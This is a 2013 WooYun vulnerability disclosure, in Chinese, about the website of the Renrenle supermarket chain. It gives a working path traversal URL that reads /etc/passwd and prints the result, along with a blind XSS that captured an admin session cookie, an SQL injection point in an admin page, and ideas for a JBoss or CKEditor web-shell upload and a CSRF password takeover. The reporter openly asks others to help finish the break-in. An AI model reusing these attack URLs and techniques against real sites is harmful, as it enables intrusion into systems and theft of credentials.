当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018434

漏洞标题：人人乐超市网站检测相关（求搞JSP大牛加入）

相关厂商：人人乐

漏洞作者： whirlwind

提交时间：2013-02-08 11:44

修复时间：2013-03-25 11:44

公开时间：2013-03-25 11:44

漏洞类型：网络设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-03-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

任意下载文件漏洞，XSS盲打后台，SQL注入，JbossWeb，疑似ckeditor上传漏洞等等。。

详细说明：

首先是任意下载文件 最严重的
http://www.renrenle.cn/share/download.jsp?filePath=../../../../../../etc/passwd&fileName=wind.txt
没有任何限制

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
xh:x:1000:1000:xiaohong,,,:/home/xh:/bin/bash
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/bin/false
xiaohong:x:1001:1001::/home/xiaohong:/bin/false
ftp1001:x:1002:1002::/home/ftp1001:/bin/false
ftp1002:x:1003:1003::/home/ftp1002:/bin/false
ftp1003:x:1004:1004::/home/ftp1003:/bin/false
ftp1004:x:1005:1005::/home/ftp1004:/bin/false
ftp1005:x:1006:1006::/home/ftp1005:/bin/false
ftp1006:x:1007:1007::/home/ftp1006:/bin/false
nhy:x:1008:1008::/home/nhy:/bin/false
postfix:x:107:115::/var/spool/postfix:/bin/false


下来是XSS
http://www.renrenle.cn/rrlcs/suggest/suggest.jsp
这里标题插入代码，可以盲打后台

Date: 2013-02-04 16:23:54
    OS: Windows XP
    Browser: Internet Explorer 8.0
    location: http://www.renrenle.cn/rrlcs/admin/manageMessages.jsp?left=1
    toplocation: http://www.renrenle.cn/rrlcs/admin/index2.jsp?msg=success
    cookie: JSESSIONID=8F1C520080793FC30416BD4532F7E7E4
    referrer: http://www.renrenle.cn/rrlcs/admin/side.jsp?moduleid=9


SQL注入的话，在有cookies时，新闻呀什么的
似乎没法访问admin.jsp，不知到是什么原因，不过别的页面确是正常
比如http://www.renrenle.cn/rrlcs/admin/managegoods.jsp
那么注入点在这里
http://www.renrenle.cn/rrlcs/admin/viewgoods.jsp?id=69
还有他的服务器是ubuntu 12.04 服务器版，不会搞了，用的是Jbossweb 搭建的网站，任意下载文件可以下载到jboss配置文件，理论上可以通过web管理上传木马，不过遗憾的是，我不会了，似乎端口是8083，不知到怎么的访问不了
PS 关于Jboss
[23:47:18] Shawn Smith: 这个是jboss源码 http://www.oschina.net/code/explore/jbossas
2.似乎他还有一个ckeditor，据说可以用%00截断，然后NC上传。这个没测试。不知到她用的ckeditor有没有这个漏洞
3. 网站后台 /admin 还有三个，崇尚百货什么的，能注册后访问，不过似乎没啥用了
最后 还是失败了。。第一次搞JSP的站，求大牛教我。。
Skype:[email protected]

漏洞证明：

大牛自己上吧。。ubuntu下没QQ截图额。。。
PS 写道这里，我又想到一个好办法，获取cookies后可以访问一个修改密码的页面，，如果我CSRF的话，，不是管理员密码就有了。。嘿嘿，等下试试哦

修复方案：

送张人人乐购物卡好不好。。。
嘿嘿 开玩笑，不求那些，过滤过滤再过滤
去练功了。。孩子们晚安啦，人多力量打，求学习。

版权声明：转载请注明来源 whirlwind@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝